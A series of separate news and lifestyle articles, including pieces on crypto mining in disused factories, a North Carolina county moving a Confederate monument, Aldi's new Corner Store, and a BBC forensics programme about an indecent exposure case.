Nestled in the Appalachian Mountains near Marble, North Carolina, theres a 250,000-square-foot factory building that used to make denim for Levis jeans. Starting in the 1960s, Levi Strauss built many plants like this across the American South  and then shuttered almost all of them in the 1990s and early 2000s, when it moved its manufacturing operations overseas. After this North Carolina factory closed in 1999, the building, which sits on 70 acres of land, stood empty for almost two decades. Then the crypto miners came to town.

In 2017, Darin Feinstein had just founded Core Scientific, which is now the one of largest crypto-mining companies in North America. At the time, the company was just getting ready to open its first facility, and Feinstein said they looked at more than 500 sites trying to find everything on a very particular wish list. First and foremost, they were looking for an inexpensive power source for the energy-intensive process of mining, which meant a more rural location, as electricity tends to be cheaper farther from major cities. Ideally, they would also find existing infrastructure that could be converted for the mines purposes: a large empty building that could be filled with shoebox-size computers, vents that could be used for thermodynamic cooling, and land for potential expansion.

In the abandoned Levis factory, Feinstein found all of the above. The sprawling building would fit plenty of computers, but the main selling point was proximity to a series of hydroelectric dams. They had helped power the factory but have been used much less since Levis left town. This kind of stranded power, or a dormant energy facility with all the infrastructure already in place, is exactly what miners are looking for. So Core Scientific bought the old denim mill and filled it with computers, which have been whirring away constantly ever since, mining new bitcoin, litecoin, ethereum, and monero with each complex math problem they solve.

In the last year, cryptocurrencies like these have hit wildly high prices on crypto exchanges, leading to a craze that has spawned a host of new currencies, and given rise to feverish speculation on blockchain-backed NFTs. The high prices have also led to a boom in mining operations  and a hot new real-estate market for former industrial spaces to convert into mining facilities. Weve produced enough machines now to meet the demand for new crypto mines, said Mike Colyer, CEO of Foundry, a mining outfit that provides equipment financing and advisory services to other miners. But people dont have anywhere to plug them in.

Many former factories are owned by private real-estate developers, who bought them up on the cheap when manufacturing left  and are now reselling them for a profit. Were getting phone calls from people even in New Hampshire and Vermont, from someone who might own a paper mill that went out of business, wholl say, Ive got a paper mill and nobody else wants to come up here, so can I put in a bitcoin-mining facility? Coyler said.

Many crypto miners are looking for their version of what Feinstein found in North Carolina: unused factories, cheap land, and industrial infrastructure that can be easily repurposed. Ex-manufacturing spaces are particularly attractive because the industrial processes have something in common with mining. You need to get a lot of air into the building and a lot of air out of the building, so typically youd open up the side walls and vent it through the roof, Colyer said. Thats why certain places like the old Alcoa factories are some of the most popular, because theyre very large buildings with a lot of installed electrical infrastructure, and the buildings were designed to remove heat, so they become natural places for mining.

Its not just denim mills and aluminum smelters. Around the country, mining operations have cropped up in an ex-steel mill in Calvert City, Kentucky; an ex-Gateway Computer industrial campus in South Dakota; a power plant in Hardin, Montana; a former airplane hangar in Big Spring, Texas; and old fruit warehouses in Eastern Washington State. The hulking abandoned palimpsests of American industry are, almost overnight, turning back on.

Computers work constantly to solve complex equations to mine new crypto coins  using a lot of energy in the process. Photo: Courtesy of Compute North

But not all residents and local officials have jumped to embrace the crypto-mining gold rush. There are concerns about power costs and energy consumption, and anxiety over what other ills could come with the industry scaling up so quickly. These worries are not entirely new: Eastern Washington became the epicenter of U.S.-based mining in 2018, during the last bitcoin bubble, and after months of feverish speculation, a number of towns and counties put moratoriums on new operations.

Now, some elected officials and residents in New York are wary of crypto-mining too. There are now at least two major mining operations in the Finger Lakes region, another epicenter of low-cost energy thanks to local hydropower facilities. One, Greenidge Generation, opened in 2020 in an old power plant that was originally coal-fired but was converted to natural gas in 2017. Another runs out of one of those sought-after Alcoa smelters in Massena, N.Y. In early May, some state legislators became worried that the mines and their emissions could worsen the climate crisis. State assemblywoman Anna Kelles authored a bill that would have put a three-year moratorium on new mining facilities in the state, along with a requirement for state-run environmental-impact assessment for future mines. Residents are worried too: In early June, WRFI Community Radio reported, 200 people rallied at the regional headquarters of the New York State Department of Environmental Conservation in protest of Greenidge. Theres nothing green about Greenidge, one sign read.

Some of their concerns are highly specific, local environmental problems related to the Greenidge plant, like the potential warming of Seneca Lake, where water heated during the mining process is being put back into the lake at high temperatures. But theyre also accompanied by broader concerns about the carbon emissions and energy use associated with blockchain; by one estimate, bitcoin as a whole consumes more electricity annually than Austria. Though Greenidge and many other mining companies have purchased carbon offsets to become carbon-neutral, critics say that this doesnt factor in the opportunity costs  after all, we cant simply offset everything.

Kelles is also worried that there will be more mines opening. If you look at the list of mothballed power plants, theyre in Queens, Suffolk County, all over the Finger Lakes, and all over Long Island, she said. Not all of them would have the infrastructure to be cryptocurrency mining facilities, but theres potential there.

The moratorium bill failed in the state assembly in June, and more mining operations are indeed coming to New York: In March, a company called Digihost bought a 60-megawatt natural-gas-powered plant north of Buffalo for $3.5 million, with plans to turn it into a bitcoin mine.

Crypto mines have moved into a variety of old industrial spaces, including this World War IIera hangar. Photo: Courtesy of Compute North

Despite concerns raised by lawmakers and environmental groups, many states are eager to attract miners. North Dakota and Wyoming both passed laws that give tax breaks to oil producers that provide gas to crypto mines that would have otherwise flared. The governor of Kentucky recently passed a tax break for any miners coming into the state. And the governor of Texas, Greg Abbott, recently signed a law that recognizes the legal status of cryptocurrencies and the rights of those who hold them. The message from these red-leaning states: Crypto miners are welcome here.

Compute North, which specializes in developing spaces for crypto miners, already has a facility in Texas, based in a former World War II airplane hangar, and CEO Dave Perrill said that many of the projects currently in development are in Texas, which is one of the most crypto-mining-friendly states in terms of low-cost and stranded power. Compute North has other centers up and running in South Dakota and Nebraska too, and 40 more sites are currently in some stage of the development process.

Still, there are obstacles for crypto miners  and at least in part because of how hot the real-estate market has become. Instead of looking for abandoned buildings, some customers are instead coming to Compute North for premade modular mining sites built in shipping containers that can be put anywhere near a source of cheap power. Theyve set up one such site in Kearney, Nebraska  a set of retrofitted shipping containers in the middle of an empty green field, whirring away.

But the race for post-industrial space is still on. Colyer said he is regularly getting multiple emails a day from miners who have equipment and are looking for advice on finding a place to put it. He said, Everyones running around and looking at spaces and sites, asking, How can we turn this into a bitcoin mining facility?
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County approves moving Confederate monument to private property

jeure / Paul Nielsen/The Daily Advance Jim Goar speaks in favor of removing the Confederate monument from the Pasquotank County Courthouse green during Mondays Board of Commissioners meeting.

Pasquotank commissioners voted Monday night to move the Confederate monument from the Pasquotank County Courthouse to private property in Nixonton.

The board agreed to pay Superior Cranes $28,000 to dismantle the monument and move it to property owned by Warren Weidrick at 1371 Four Forks Road. No date has yet been set for the monuments removal.

Weidrick has agreed to pay for the monument to be reassembled on his property. Weidricks site is visible from Halls Creek Road and in close proximity to the historical monument that marks the site of the First General Assembly meeting in North Carolina.

The 5-1 vote comes almost a year after the board first voted to remove the monument, which has stood on the courthouse grounds since 1911.

Commissioners Cecil Perry, Charles Jordan, Bill Sterritt, Lloyd Griffin and Barry Overman voted to move the monument. Commissioner Sean Lavin cast the lone no vote. Commissioner Jonathan Meads did not attend Mondays meeting.

County Manager Sparty Hammett said following the boards vote that he hopes to begin the process of moving the monument as soon as possible.

We will move it as quickly as Superior can move it, Hammett said. I left a message with Superior Cranes (on Tuesday).

Weidrick offered to take the monument in February but progress in completing the move proved to be slow.

One of the major hurdles had been coordinating both the dismantling of the monument and its reassembling on Weidricks property in one move.

Weidrick could not be reached Tuesday.

A dozen people spoke Monday in favor of moving the monument from the courthouse. No one spoke in opposition to the move during the public hearing before the boards vote.

Perry has long advocated moving the monument from the courthouse grounds and applauded the boards vote.

I want to thank this board for actually supporting the movement of the monument, Perry said after the vote. The one thing I can applaud is this will actually make a difference in our community. We can applaud ourselves for moving forward from something that has been very difficult for a lot of African American people.

Perry and other African Americans say the monument commemorates those who fought during the Civil War to keep their ancestors enslaved. Fearful that the election of Republican President Abraham Lincoln in 1860 would mean the end of slavery, states that joined the Confederacy did so to protect their citizens right to continue owning slaves.

Monuments like the one in Pasquotank was also erected in the early 20th century at a time of white supremacy when Black citizens had little to no political power to oppose commemorations of the Confederacy on public land.

Pasquotank County determined last year that the United Daughters of the Confederacy owned the statue in Pasquotank and officially asked the organization to take it last October. The UDC responded by saying it was not the owner.

The county then sought private citizens and private entities to submit proposals to take the monument before deciding to move it to Weidricks property.

Elizabeth City resident Molly Penrod noted the UDC was formed three decades after the end of the Civil War and told commissioners she believes monuments erected by the UDC were symbols of white supremacy.

The Daughters of the Confederacy has direct ties to the KKK (Klu Klux Klan), Penrod told commissioners. So much so that in 1926, the UDC constructed a memorial to them outside Concord, North Carolina. The monuments are not about Southern heritage or pride and I think we all get that by now.

Pasquotank NAACP President Keith Rivers told county officials that the organization has been working for the last five years to have the monument removed from the courthouse and asked commissioners to be at the forefront of change.

If you respect us, you move the monument now, Rivers said. Its been almost five years. Again, respect us as a race.
Elizabeth City, NC (27909)

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Thunderstorms likely in the evening. Then a chance of scattered thunderstorms later on. Low 69F. Winds light and variable. Chance of rain 70%.
Dalton, GA (30720)

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Variable clouds with showers and scattered thunderstorms. Storms more numerous this evening. Low 69F. Winds light and variable. Chance of rain 60%..

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Variable clouds with showers and scattered thunderstorms. Storms more numerous this evening. Low 69F. Winds light and variable. Chance of rain 60%.
Diane Pineiro-Zucker has been a reporter at the Daily Freeman since April 2013. Pineiro-Zucker worked as a reporter in the Freemans Rhinebeck bureau in the early 1980s, left to become executive editor at Taconic Newspapers in Dutchess County.
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Jackie Bailey, 80, of Westwood, Kentucky, died peacefully Saturday morning, July 17th, at her home while under hospice care. Jackie was born February 10, 1941 in Boyd County, Kentucky. She, and her late husband Earl Bailey, were the owners and operators of the former Bailey's Texaco Station 
FILE- In this Friday, July 12, 2019 file photo U.S. Attorney William McSwain pauses during a news conference at the Lancaster County Courthouse in Lancaster, Pa. McSwain, the top federal prosecutor in Philadelphia appointed by Donald Trump has written to the former president to seek his endorsement in a crowded Republican primary race to run for governor in next year's election.
Pictured left to right: Betsy Niedziejko, Chairman of the Board ofSCCCC, WSFS Bank; Cheryl B. Kuhn, IOM, President & CEO of SCCCC; Karen Simmons, President & CEO of CCCF; and James E. Turner, Immediate Past Chairman of SCCCC, Chester Water Authority.
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Two arrested in connection with large fight in Coatesville
From a whale who is photobombing a wedding ceremony to having a royal pull funny faces in your picture, these snaps show that sometimes the background of an image is funnier than the subject.

In a gallery compiled by Bored Panda, these pictures from around the world prove that an intruder can actually make your snap even better.

In one snap, a horse managed to steal the show by pulling a funny face behind a couple and in another a lifeguard posed to mimic the girl getting her photo taken.

Another perfectly-timed picture shows a train driver waving as he passed by a woman having her photo taken by the track, while another man posed in front of the Christ the Redeemer statue in Brazil, making it look like it was his outstretched arms.

Happy as Harry! The Duke of Sussex let his silly side show as he stuck his tongue out behind two Invictus Games workers in this snap

Flying by! One train driver threw an arm out the window of his vehicle, which appeared to be in Alaska, as he drove behind a woman posing for a snap

Strike a pose! One hilarious photobomb came from a lifeguard who mimicked the woman posing for a picture at a water park

Good god! As a couple posed in front of Christ the Redeemer in Rio, Brazil, a man behind them stood perfectly still and appeared to be a human version of the Jesus statue

Say cheese! In one hilarious snap, a little boy completed the perfect photobomb by rubbing his nose against a window behind a woman

All smiles! A very happy stingray appeared to be grinning for the camera as it leapt out of the water behind a couple in the sea

Horsing around! This couple were all smiles for the camera, but didn't realise a horse would steal the show and pull a silly face behind them

This ones for the girls! During a bachelorette party, believed to be in the US, a man pouted as he stood behind a group of girls posing in a group picture

Stealing the show! As one woman struck a glamorous pose in front of a stunning building, a child stuck his tongue out and put his thumbs up to ensure all eyes were on him

Joining in! A cyclist was caught up in a group of motorbike riders which resulted in a hilarious photobomb

I do! While saying their vows in front of an aquarium, this happy couple were photobombed by a very curious beluga whale

He's behind you! One very happy dog was photobombed by another, who pulled numerous faces behind the other's back
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Aldi Australia has unveiled its first ever Corner Store - complete with freshly pressed orange juice, an in-house cafe serving barista-made coffee, an artisan bakery and self-serve checkouts.

The state-of-the-art store, the first of its kind, has officially opened its doors in North Sydney on Wednesday, offering shoppers a 'convenience-driven' experience on a smaller scale.

The small format convenient store under a new concept name is about half the size of a standard Aldi, which typically measures 1,200sq m - and features a new store layout to maximise efficiency, a modern interior design complemented by simple navigation, and extended trading hours.

Customers are greeted with a vibrant mural upon entry, fresh fruits and vegetables, a cheese stall and a huge range of convenient grab-and-go meals tailored to the busy city office workers and time-poor commuters.

The Corner Store has a coffee kiosk with locally roasted, barista-made coffee, an artisan bakery section, a collection of the retailer's famous Special Buys range and even a 'pup parking' for pet owners to easily tether their dog on a leash while they do their grocery shop.

Aldi Australia has unveiled its first ever state-of-the-art Corner Store, the first of its kind, on Mount Street in North Sydney

The small format convenient store will feature its famous Special Buys range so shoppers won't miss out on seasonal items

The new state-of-the-art store features an in-house artisan bakery and a coffee kiosk serving roasted, barista-made coffee6

There's a huge range of convenient grab-and-go meals tailored to the busy city office workers and time-poor commuters

The new Corner Store could rival major supermarkets such as Woolworths Metro and Coles Local, which are smaller format outlets mostly located in densely populated urban areas.

Aldi chief executive Tom Daunt said the new store will offer city shoppers a slightly different range of grocery items - including smaller pack sizes, convenience food ranges and fresh products.

'There will be some range changes, so some of the products that don't typically really appeal to inner-city urban dwellers, like 10kg dog food, we have removed and that has given us space back and allowed us to squeeze a traditional Aldi store into a smaller format,' Mr Daunt told The Australian.

'The corner store is about developing a format to allow us to bring the Aldi offer to those customers in high-density urban locations.'

He said the German supermarket is looking at trialling as many as four Corner Stores over the next year.

Designed to offer shoppers a convenience-driven experience, store features self-serve checkouts to make shopping a breeze

The store will also feature an OzHarvest 'Juice For Good' vending machine, offering shoppers a fresh cup of orange juice, squeezed in front of their eyes from fresh, rescued oranges, ensuring that good quality produce does not go to waste

With a modern new layout, the store features popular pantry staples - including nut snacks and a range of pastas

The new artisan 'Wild Origins' bakery range will also tempt shoppers with a wide variety of sweet and savoury goods, including 12 types of sourdough bread, vegan burger buns, chocolate croissants, pretzels, and multi-pack cookies

The new North Sydney store features ready-to-eat lunch and dinner options including a variety of sushi, salad pots, sandwiches and wraps from as little as $3.29, as well as prepared fruit and snack combo packs from $2.99.

The new artisan 'Wild Origins' bakery range will also tempt shoppers with a wide variety of sweet and savoury goods, including 12 types of sourdough bread, vegan burger buns, chocolate croissants, pretzels, and multi-pack cookies.

The store will also feature an OzHarvest 'Juice For Good' vending machine, offering shoppers a fresh cup of orange juice, squeezed in front of their eyes from fresh, rescued oranges, ensuring that good quality produce does not go to waste.

Supporting Australian farmers by using blemished oranges, with all profits of the juice sales going to OzHarvest, with every juice sold being an equivalent to one meal being donated.

The re-energised interior transformation has been complemented by talented street artist and muralist Joel Moore, aka Mulga, who's known for his unique Australian creations and signature style of intricate line work and bright colours

There's even a 'pup parking' for pet owners to easily tether their dog on a leash while they do their grocery shop

The store offers shoppers everything they need - from frozen goods, ready-made meals and best-selling grocery items

'We have proceeded with opening the new ALDI Corner Store in North Sydney, taking into account all the current COVID restrictions,' an ALDI Australia spokesperson said.

'Given the lockdowns in Greater Sydney, we don't feel it is appropriate to drive interest or additional customer traffic to Corner Store at this time.

'We are fortunate that as an essential service we are open for trade, and in these challenging times feel it is our responsibility to ensure North Sydney locals have access to the re-opened store to make their essential grocery purchases as needed.'

The re-energised interior transformation has been complemented by talented street artist and muralist Joel Moore, aka Mulga, who's known for his unique Australian creations and signature style of intricate line work and bright colours.

His captivating artworks for Aldi's first Corner Store celebrate the store's surrounding neighbourhood.

The store has an extensive range of fresh meats - including steaks, mince, meatballs, rissoles and plenty of other options

The small format convenient store is about half the size of a standard Aldi - with a new store layout to maximise efficiency, a modern interior design complemented by simple navigation, and extended trading hours

The re-energised interior transformation has been complemented by talented street artist and muralist Joel Moore, aka Mulga, who's known for his unique Australian creations and signature style of intricate line work and bright colours

The new North Sydney ALDI Corner Store is located on Mount Street in North Sydney. Opening hours are 7am to 9pm from Monday to Friday, with weekend hours from 8am to 8pm.

The store opening comes just months after the supermarket chain submitted an application to North Sydney Council about its proposal to convert the existing outlet into a smaller format shop.

The development plan revealed in May the metro concept store would feature a completely new layout, a 'hole in the wall' cafe, signage and edgy street art.

'We know that Australians are looking for new and convenient shopping experiences, especially in densely populated areas, so we are exploring a smaller format store in North Sydney under a new store concept name: ALDI Corner Store,' an Aldi spokeswoman told Daily Mail Australia in May.
Expats living in Australia have been 'blown away' by the country's supermarket shopping trolleys, which many say are superior to those in the US and Canada.

In a recent TikTok video, Australian shopper Paniora Nukunuku raved about how trolleys can be taken without inserting a coin.

The social worker, who posts as @pnuks, also praised their wheels that 'move independently' from one another, and safety features such as grooves on the back wheels which prevent trolleys from flying out of control on travelators.

For these reasons, Mr Nukunuku said Australian trolleys are better than their American counterparts, known as shopping carts.

'I want this video to reach American TikTok,' he says at the start of the video.

'On Australian trolleys the wheels move independently from each other as you can see. The other thing is that our wheels look like this.'

Mr Nukunuku then pans the camera to the back wheels of the trolley, which he explains are indented to slot securely into the grooves of shopping centre travelators.

'They stick in the grooves so you don't have to worry about it flying away,' he added.

The clip, which has been viewed 418,800 times since it was posted online on Tuesday, swiftly sparked widespread agreement.

'I'm a Canadian studying in Sydney. The back wheels freely blew my mind when I got here,' one man replied.

'Not gonna lie, this is fascinating,' said a second.

Others were amazed that you can take trolleys outside shops in Australia.

Australian social worker Paniora Nukunuku raved about the country's supermarket trolleys (left), praising safety features such as grooves on the back wheels (right) which prevent trolleys from flying out of control on travelators

'Wait, you can bring your cart around the whole mall?!' one American woman wrote.

However some took issue with Mr Nukunuku's claims, with one viewer saying there are plenty of supermarkets that have a coin requirement.

'In Canberra pretty much all trolleys need a coin to unlock, it incentivises people to return them instead of dumping them in waterways and such,' one man wrote.

Another added: 'We have three Coles and to Woolies in my area and all require a coin to unlock the trolley.'
A self-made businesswoman who emigrated from China to Australia in search of a better life has hit back at a troll who claims she is bankrolled by her wealthy family.

In a recent video posted to her TikTok account, Sydney entrepreneur Jane Lu, the founder of online fashion empire Showpo, slammed a user who calls themselves 'cigarmannl' for saying she is a 'college privileged girl eating on [her] family's cash'.

The criticism came after the 34-year-old posted a clip of herself and a friend at upscale Parisian eatery, Restaurant le Meurice Alain Ducasse, where she said their dinner costs $600 per person.

But the CEO, whose clothing website turned over a reported $85million (AUD) in 2019 alone, rubbished accusations that she relies on family riches, saying she grew up 'poor' and 'worked really hard' to be as successful as she is today.

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Jane Lu (pictured) is the founder of Showpo, one of Australia's top fast fashion brands

The 34-year-old founder of online fashion empire Showpo (left and right), slammed a TikTok user who calls themselves 'cigarmannl' for saying she is a 'college privileged girl eating on [her] family's cash'

'Sorry I have to call this guy out on this bulls**t, but I'm the CEO of an online fashion store that I started 10 years ago,' Ms Lu began in the video.

'My parents and I immigrated from China together and we were poor. I worked really hard and I took a lot of risks to get to where I am today.'

Speaking directly to her 76,800 TikTok followers, Ms Lu said the troll had made a 'sexist assumption' and would never level the same critique at male business owners.

'You would not be saying this if it was a group of guys,' she said.

Regardless of whether she owned a business or not, Ms Lu said she would still have a job that would allow her to pay for her own 'fancy dinners'.

The clip, captioned 'can't believe we even need to have this conversation in 2021', has racked up 24,700 views and widespread support since it was uploaded online on Monday.

Ms Lu (pictured at Sydney Fashion Week in 2021) said the troll had made a 'sexist assumption' and would never level the same critique at male business owners

Regardless of whether she owned a business or not, Ms Lu (left, in 2021 and right, in 2020 while pregnant with son, Lachie) said she would still have a job that would allow her to pay for her own 'fancy dinners'

Dozens of fans jumped to the businesswoman's defence, urging her not to let anyone discredit her hard work. (Ms Lu is pictured with her husband and long-term business partner, James)

'Why do people still leave comments like this, it's 2021,' one viewer replied.

'You go Jane,' said a second, while a third added: 'Yes ma'am, serve him! Don't let anyone discredit your hard work.'

Many agreed with Ms Lu that there would be no question of where funding came from if her company was owned by men.

'So true. If this was a group of guys, he wouldn't have said anything,' one person wrote.

Others praised her for being an inspiration to young girls from underprivileged backgrounds.

'You should be so proud, you're a role model girl,' said one.

Showpo CEO Jane Lu tied the knot with her CFO James Waldie in October 2019 surrounded by close friends and family in a lavish ceremony at Sergeants' Mess in Mosman, Sydney

Jane (centre) wore a $299.95 wedding gown from Showpo's bridal collection and dressed her bridesmaids in various shades of pink from her own design racks

Jane and her husband and long-term business partner James have been at the helm of Showpo's e-commerce business since 2010, two years after meeting on an exchange trip to Sweden in 2008.

James, who is CFO of the company, proposed during a romantic gondola ride in Queensland a decade later.

The couple married in October 2019 surrounded by close friends and family in a lavish ceremony at Sergeants' Mess in Mosman, Sydney.

Jane wore a $299.95 wedding gown from Showpo's bridal collection and dressed her bridesmaids in various shades of pink from her own design racks.

The newlyweds welcomed their first child, a son named Lachie, less than one year later in August 2020.
A home stylist has revealed the secret to making your flowers last twice as long is placing them in a vase of water with vinegar.

Liz Amaya, from Brisbane, shared a video on Instagram explaining how she doubles the life of her bouquet using the basic household ingredient.

'How to prolong the life of your florals... Simply pour half a cup of vinegar into two cups of fresh water,' she said.

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A home stylist has revealed the secret to making your flowers last twice as long is placing them in a vase of water with vinegar

How vinegar keeps flowers fresh Adding vinegar to the flower water is said to act as an effective antibacterial agent, keeping blooms fresher for longer. Preserving cut flowers with vinegar essentially lowers the pH, which in turn, increases the acidity. This helps to create an environment that is less suitable for the growth of bacteria, which typically causes the speed of decline in freshness of the flowers. Credit: Gardening Know How Advertisement

Before placing them in the vase, she started by stripping all the leaves from half way down the stems. Next, she trimmed the bottom of the stems.

'Arrange them into the vase of prepared water solution,' she said.

Adding vinegar to the flower water is said to act as an effective antibacterial agent, keeping blooms fresher for longer.

Preserving cut flowers with vinegar essentially lowers pH, which in turn, increases the acidity. This helps to create an environment that is less suitable for the growth of bacteria, which typically causes the speed of decline in freshness of the flowers.

Liz Amaya, from Brisbane, shared a video on Instagram explaining how she doubles the life of her bouquet using vinegar. Before placing them in the vase, she started by stripping all the leaves from half way down the stems. Next, she trimmed the bottom of the stems

'It's a handy trick Works a treat! Enjoy flowers longer,' Liz said.

Her video has since been viewed more than 26,000 times, with many saying they will give the vinegar trick a go.

'I wouldn't think to add vinegar. Thanks for the tip,' one wrote, while another added: 'Thank you will definitely be trying this one.'
A woman has come up with a simple solution to slash the cost of her electricity bill while working from home during winter.

Speaking to FEMAIL, the woman said she rented a large office space in a 'cold region' of country Victoria where the average winter temperature is 12.5C because the internet in her house is 'unreliable'.

But when she found that running the split system heating unit during her nine-hour shift was pushing up the power bill, her sister - who also works remotely - suggested buying an Oodie, a $84 wearable blanket-cum-hoodie made from flannel and fleece.

Paired with a $35 Aldi electric blanket and $5 fingerless gloves that keep her hands warm while typing, the woman said she now works with the door of her office wide open - even on overnight shifts when temperatures drop to 5C.

A woman (pictured) has discovered she can slash the cost of her electricity bill while working from home in winter by rugging up in a wearable blanket, electric throw and fingerless gloves

'The office is big - way too large for one person - but it was the only one available,' she told FEMAIL.

'I was running the split system for most of my nine-hour shift to keep warm, but then decided I wanted to cut down on my power bill.

'My sister was in the same situation - she works from home in Melbourne and was also tired of paying higher electricity bills.'

The simple solution means the woman no longer suffers from headaches as a result of running the heating for too long.

'I was getting headaches with the office shut up and the heater running,' she said.

'I'm actually someone who feels the cold and so does my sister, so if this works for us, then it should also be a good solution for other workers to keep warm while saving on their power bills.'

For overnight shifts, the woman said she also bundles up with a scarf, leggings and a thermal top from Kmart to keep out the chill.

'It makes a big difference,' she added.

The woman said she only slips the Oodie off for Zoom meetings, then puts it straight back on when she logs off.

'You get dressed as normal - add a few more layers if you like, then throw on the Oodie and put the electric blanket over your knees and bingo - no more heating needed,' she explained.

The secret to slashing your electricity bill? An Oodie (pictured), an $84 wearable blanket lined with flannel and fleece

New research has found young workers are 80 percent more likely to be stressed about paying upcoming bills than their older counterparts.

The study, by Australian comparison site Compare Club found more than half respondents under the age of 34 were stressed about upcoming bills in the last three months.

Recent data from the Australian Bureau of Statistics from December 2020 found seven percent of Aussie households can't pay their utilities.

That figure is likely to rise this quarter with five million Sydneysiders stuck in lockdown until at least July 30 and tens of thousands across the country now working permanently from home.

The solution? The Victorian woman's trick of 'rugging up' in a wearable blanket, electric throw and fingerless gloves.

Oodies are sold out with a restock not scheduled until August, but there's plenty of options from rival brands that work just as well.

Other options include $35 'Oversized Sloth Hoodies' from the Reject Shop (left) and $89.95 unisex ponchos from Melbourne brand, Frenchies (right)

Among the most affordable are a cosy $69 hooded blanket from Australian fashion label Miz Casa and Co, which has enjoyed a 400 percent spike in sales this winter.

The wearable blanket made from 100 percent polyester features ribbed cuffed sleeves, Sherpa interior and a plush hood.

It is available online in a variety of colours including blush pink, grey, leopard print and blue.

The luxury hooded blanket by Australian fashion label Miz Casa and Co (pictured) promises to provide the ultimate comfort when lounging at home

Melbourne blogger Yasmina shared an image of herself wearing the loungewear with her 89,000 followers, praising the buy

Melbourne blogger named Yasmina recently praised the blanket in a post shared with her 89,000 followers.

'Just going to be living in my Miz Casa and Co cosy sleepwear, what about you?' she captioned the photo.

Other options include $35 'Oversized Sloth Hoodies' from the Reject Shop and $89.95 unisex ponchos from Melbourne brand, Frenchies.
Viewers of Forensics: The Real CSI were up in arms last night after a 23-year-old man who indecently exposed himself to a vulnerable woman in her fifties was spared prison because it was his first offence.

Forensic scene investigator Drew Birtles, from West Midlands Police, was deployed to lead the search for evidence after the victim called 999 alleging that an engineer who visited her home to fit a smart meter had started masturbating in her bathroom in July 2020.

Despite initially denying the claim, the offender eventually changed his plea to guilty and was handed a 24-week prison sentence suspended for two years at Dudley Magistrates Court.

In addition he was electronically tagged for six months, banned from entering any private home for work for two years and given a restraining order forbidding him from making contact with the victim for three years.

Forensics: The Real CSI featured a case last night where an engineer was accused of indecently exposing himself to a vulnerable woman in her home - and was eventually found guilty

Viewers were up in arms after the 23-year-old man was spared prison because it was his first offence

But several viewers felt the justice was soft, pointing out that PC Wayne Couzens, who recently admitted to raping and killing marketing executive Sarah Everard, allegedly committed three sex crimes prior to the murder.

One tweeted: 'Anyone thinking this is probably a weird one off from the suspect, remember #WayneCouzens had prior reports of indecent exposure up to six years ago - these sexual offenders escalate.'

Another wrote: 'Suspended sentence because he has no previous convictions but this might be the beginning of his convictions exposing himself to vulnerable women smh.'

And one commented: 'If that female copper thinks a 24 week suspended sentence is justice it's no wonder #waynecouzens got away with his deviancy for so long.'

After response officers took a statement from the victim, Drew attempted to recover evidence and found fingerprints placing the suspect at the scene and traces of semen on a glove and the toilet in the bathroom.

Forensic scene investigator Drew Birtles, from West Midlands Police, was deployed to lead the search for evidence after the victim called 999 alleging that an engineer who visited her home to fit a smart meter had started masturbating in her bathroom in July 2020

The victim told him she was in the kitchen when she turned around and saw the man with his hands down his trousers.

'He said "I'm itchy", then he started touching himself up in the kitchen, he had an erection,' she recalled.

'He went into the bathroom, I thought he needed the loo. But obviously he didn't need the loo did he?

'He's one disgusting creature, he's not even a creature, to do that to a person like me, disabled. I've got a learning disability, I've got asthma, I just want him done because he's going to think, if he's going to do it to me, he's going to do it to other vulnerable people, it's bad... It really has shook me up because he knows what my place looks like.'

It's later revealed that the vulnerable victim, who suffers from anxiety and paranoid schizophrenia, had a panic attack during questioning.

When police contacted the company the suspect worked for, his bosses said there had been no other complaints, and there was no record of him on the criminal database.

After response officers took a statement from the victim, Drew attempted to recover evidence and found fingerprints placing the suspect at the scene and traces of semen on a glove and the toilet in the bathroom

His manager added that he was 'quite surprised' by the allegation because the engineer - who lived with his parents and siblings - comes across as 'an endearing, hard-working polite young man'.

While investigating the victim's history, police officers unearthed two previous allegations made by her that are similar in nature, however no further action was taken due to inconsistencies in her account, which cast doubt over her fresh claim.

But swabs provided a positive DNA match to the suspect and traces of his sperm in the bathroom, suggesting sexual activity took place. After his arrest his phone was seized and checked for digital forensics that could link him to the offence.

It emerged that he had deleted his web history on the day the alleged crime took place, but a pornographic photo showing two older women conducting a sexual act on a younger man was found, downloaded shortly after he visited the victim's home.

Detective Inspector Cate Webb-Jones, from the Public Protection Unit, was brought in to oversee due to the complicated nature of the case.

Swabs provided a positive DNA match to the suspect and traces of his sperm in the bathroom, suggesting sexual activity took place

During questioning the suspect said the victim was 'talking to herself' while he fitted the gas meter, and denied the claims he masturbated in her bathroom.

'I find it odd, why would someone say that about me? Sorry but she's an old lady, why would I do such a thing?' he said.

But when presented with the forensic evidence, he then changed his account, claiming that a small amount of semen came out while he was urinating.

He then alleged that the victim 'grabbed his penis and w***** him off' - insisting that she started it, but admitting he didn't stop her. Meanwhile the victim remained consistent in her account when questioned again three months later.

DI Webb-Jones conceded: 'It is plausible that the victim masturbated him, but it does leave me thinking, why is he changing his account on three occasions? Why didn't he just give us one account and stick to it.'

In court six months later, the suspect changed his not guilty plea to guilty. DI Webb-Jones said the 24-week suspended prison sentence reflected the 'gravity of the offence'.

Detective Inspector Cate Webb-Jones, from the Public Protection Unit, was brought in to oversee due to the complicated nature of the case

'You have to prove that he intentionally exposed his genitals so that the other person would see them and would be caused alarm and distress,' she said.

'The forensics for this case have been absolutely key. We've got a young man, one might argue at the prime of his life, that's chosen to go into a vulnerable older lady's home and commit an outrageous act, asking her and inviting her to watch him.

'It's made me question, is this the first time he's ever done anything like this? Is this an example of a case where we've got escalated behaviour? It has made me query, what journey was he on, and if this is the first time he has offended, let's hope this is the very last time as well.'

Forensics: The Real CSI continues next Tuesday at 9pm on BBC Two.
A 'real-life' Rapunzel has dressed up as her namesake in a magical photoshoot at a real castle - and she is the spitting image of the fictional character.

Alena Kravchenko from Odessa, Ukraine, has gone viral on social media, where she flaunts her luscious golden locks - which measure almost two metres long.

The 35-year-old, who has been growing her hair since she was just five has unsurprisingly been nicknamed Rapunzel for her impressive tresses.

Since then, she has amassed more than 70,000 followers on Instagram, posting photos of herself in fairytale-like settings wearing gorgeous gowns.

Alena Kravchenko from Odessa, Ukraine, has gone viral on social media, where she flaunts her luscious golden locks - which measure almost two metres long

The 35-year-old has been growing her hair since she was five, and has unsurprisingly been nicknamed Rapunzel for her impressive tresses

In one of her most recent posts, Alena decided to dress up as her favourite fictional character - and people have been left blown away by the results.

Embodying the role, the social media star - and hair goddess - wore a stunning purple dress, showing off her blonde hair with a pretty tiara on her head.

In one photo, she plays the piano in a grand hall looking like a true Disney princess.

Another shot shows Alena frolicking in the grass, while a different photo features her golden mane flying in the wind.

